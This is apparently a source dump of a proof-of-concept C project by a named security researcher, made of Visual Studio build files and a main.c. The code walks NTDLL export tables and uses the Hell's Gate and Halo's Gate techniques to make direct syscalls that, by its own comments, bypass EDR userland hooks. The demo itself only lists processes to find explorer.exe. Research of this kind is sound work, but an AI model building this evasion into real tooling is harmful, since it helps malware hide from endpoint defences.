preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32 {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB} EndGlobalSection EndGlobal ================================================ FILE: bcookesHalosGate.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {dc6187cb-d5df-4973-84a2-f92aae90cda9} bcookesHalosGate 10.0 bcookesHalosGate Application true v142 Unicode false Application false v142 true Unicode false Application true v142 Unicode false Application false v142 false Unicode false true false true false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Disabled Console true true true Document ================================================ FILE: bcookesHalosGate.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Header Files Source Files ================================================ FILE: bcookesHalosGate.vcxproj.user ================================================  ================================================ FILE: main.c ================================================ /* Author: Bobby Cooke @0xBoku | https://github.com/boku7 | https://0xBoku.com | https://www.linkedin.com/in/bobby-cooke/ Credits / References: Pavel Yosifovich (@zodiacon),Reenz0h from @SEKTOR7net, @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique) */ #include #include "bcookesHalosGate.h" #include extern VOID HellsGate(WORD wSystemCall); extern HellDescent(); EXTERN_C PVOID getntdll(); EXTERN_C PVOID getExportTable( IN PVOID moduleAddr ); EXTERN_C PVOID getExAddressTable( IN PVOID moduleExportTableAddr, IN PVOID moduleAddr ); EXTERN_C PVOID getExNamePointerTable( IN PVOID moduleExportTableAddr, IN PVOID moduleAddr ); EXTERN_C PVOID getExOrdinalTable( IN PVOID moduleExportTableAddr, IN PVOID moduleAddr ); EXTERN_C PVOID getApiAddr( IN DWORD apiNameStringLen, IN LPSTR apiNameString, IN PVOID moduleAddr, IN PVOID ExExAddressTable, IN PVOID ExNamePointerTable, IN PVOID ExOrdinalTable ); EXTERN_C DWORD findSyscallNumber( IN PVOID ntdllApiAddr ); EXTERN_C DWORD halosGate( IN PVOID ntdllApiAddr, IN WORD index ); EXTERN_C DWORD compExplorer( IN PVOID explorerWString ); PVOID ntdll = NULL; PVOID ntdllExportTable = NULL; PVOID ntdllExAddrTbl = NULL; PVOID ntdllExNamePtrTbl = NULL; PVOID ntdllExOrdinalTbl = NULL; const char ntQrySysInfoStr[] = "NtQuerySystemInformation"; DWORD ntQrySysInfoStrLen = 0; PVOID ntQrySysInfoAddr = NULL; DWORD ntQrySysInfoSyscallNumber = 0; const char ntAllocVMStr[] = "NtAllocateVirtualMemory"; DWORD ntAllocVMStrLen = 0; PVOID ntAllocVMAddr = NULL; DWORD ntAllocVMSyscallNumber = 0; SYSTEM_PROCESS_INFORMATION* procinfo; void main() { printf("###################################################################\r\n"); // Use Position Independent Shellcode to resolve the address of NTDLL and its export tables ntdll = getntdll(); printf("[+] %p : NTDLL Base Address\r\n", ntdll); ntdllExportTable = getExportTable(ntdll); printf("[+] %p : NTDLL Export Table Address\r\n", ntdllExportTable); ntdllExAddrTbl = getExAddressTable(ntdllExportTable, ntdll); printf("[+] %p : NTDLL Export Address Table Address\r\n", ntdllExAddrTbl); ntdllExNamePtrTbl = getExNamePointerTable(ntdllExportTable, ntdll); printf("[+] %p : NTDLL Export Name Pointer Table Address\r\n", ntdllExNamePtrTbl); ntdllExOrdinalTbl = getExOrdinalTable(ntdllExportTable, ntdll); printf("[+] %p : NTDLL Export Ordinal Table Address\r\n", ntdllExOrdinalTbl); printf("###################################################################\r\n\r\n"); // Find the address of NTDLL.NtQuerySystemInformation by looping through NTDLL export tables ntQrySysInfoStrLen = sizeof(ntQrySysInfoStr); printf("[-] Looping through NTDLL Export tables to discover the address for NTDLL.%s..\r\n", ntQrySysInfoStr); ntQrySysInfoAddr = getApiAddr( ntQrySysInfoStrLen, ntQrySysInfoStr, ntdll, ntdllExAddrTbl, ntdllExNamePtrTbl, ntdllExOrdinalTbl ); printf("[+] %p : NTDLL.%s Address\r\n\r\n", ntQrySysInfoAddr, ntQrySysInfoStr); printf("[-] Using HellsGate technique to discover syscall for %s..\r\n", ntQrySysInfoStr); // HellsGate technique to recover the systemcall number ntQrySysInfoSyscallNumber = findSyscallNumber(ntQrySysInfoAddr); // HalosGate technique to recover the systemcall number. Used when stub in NTDLL is hooked. This evades/bypasses EDR Userland hooks if (ntQrySysInfoSyscallNumber == 0) { printf("[!] Failed to discover the syscall number for %s. The API is likely hooked by EDR\r\n", ntQrySysInfoStr); printf("[-] Using HalosGate technique to discover syscall for %s..\r\n", ntQrySysInfoStr); DWORD index = 0; while (ntQrySysInfoSyscallNumber == 0) { index++; // Check for unhooked Sycall Above the target stub ntQrySysInfoSyscallNumber = halosGateUp(ntQrySysInfoAddr, index); if (ntQrySysInfoSyscallNumber) { ntQrySysInfoSyscallNumber = ntQrySysInfoSyscallNumber - index; break; } // Check for unhooked Sycall Below the target stub ntQrySysInfoSyscallNumber = halosGateDown(ntQrySysInfoAddr, index); if (ntQrySysInfoSyscallNumber) { ntQrySysInfoSyscallNumber = ntQrySysInfoSyscallNumber + index; break; } } } printf("[+] %x : Syscall number for NTDLL.%s\r\n\r\n", ntQrySysInfoSyscallNumber, ntQrySysInfoStr); // Find the address of NTDLL.NtAllocateVirtualMemory by looping through NTDLL export tables ntAllocVMStrLen = sizeof(ntAllocVMStr); ntAllocVMAddr = getApiAddr( ntAllocVMStrLen, ntAllocVMStr, ntdll, ntdllExAddrTbl, ntdllExNamePtrTbl, ntdllExOrdinalTbl ); printf("[+] %p : NTDLL.%s Address\r\n", ntAllocVMAddr, ntAllocVMStr); printf("[-] Using HellsGate technique to discover syscall for %s..\r\n", ntAllocVMStr); // HellsGate technique to recover the systemcall number ntAllocVMSyscallNumber = findSyscallNumber(ntAllocVMAddr); // HalosGate technique to recover the systemcall number. Used when stub in NTDLL is hooked. This evades/bypasses EDR Userland hooks if (ntAllocVMSyscallNumber == 0) { printf("[!] Failed to discover the syscall number for %s. The API is likely hooked by EDR\r\n", ntAllocVMStr); printf("[-] Using HalosGate technique to discover syscall for %s..\r\n", ntAllocVMStr); DWORD index = 0; while (ntAllocVMSyscallNumber == 0) { index++; // Check for unhooked Sycall Above the target stub ntAllocVMSyscallNumber = halosGateUp(ntAllocVMAddr, index); if (ntAllocVMSyscallNumber) { ntAllocVMSyscallNumber = ntAllocVMSyscallNumber - index; break; } // Check for unhooked Sycall Below the target stub ntAllocVMSyscallNumber = halosGateDown(ntAllocVMAddr, index); if (ntAllocVMSyscallNumber) { ntAllocVMSyscallNumber = ntAllocVMSyscallNumber + index; break; } } } printf("[+] %x : Syscall number for NTDLL.%s\r\n\r\n", ntAllocVMSyscallNumber, ntAllocVMStr); // Allocate the buffer for the process information returned from NtQuerySystemInformation ULONG size = 1 << 18; PVOID base_addr = NULL; SIZE_T buffSize1 = (SIZE_T)size; ULONG required = 0; // NtAllocateVirtualMemory HellsGate(ntAllocVMSyscallNumber); HellDescent((HANDLE)-1, &base_addr, 0, &buffSize1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // NtQuerySystemInformation HellsGate(ntQrySysInfoSyscallNumber); NTSTATUS status = HellDescent(SystemProcessInformation, base_addr, size, &required); if (status == STATUS_BUFFER_TOO_SMALL) { size = required + (1 << 14); SIZE_T buffSize2 = size; // NtAllocateVirtualMemory HellsGate(ntAllocVMSyscallNumber); HellDescent((HANDLE)-1, &base_addr, 0, &buffSize2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); } NTSTATUS status2 = HellDescent(SystemProcessInformation, base_addr, size, &required); procinfo = (SYSTEM_PROCESS_INFORMATION*)base_addr; while (TRUE) { BOOL check = compExplorer(procinfo->ImageName.Buffer); if (check == 1) { printf("%ws | PID: %6u | PPID: %6u\n", procinfo->ImageName.Buffer, HandleToULong(procinfo->UniqueProcessId), HandleToULong(procinfo->InheritedFromUniqueProcessId) ); break; } procinfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)procinfo + procinfo->NextEntryOffset); } return; }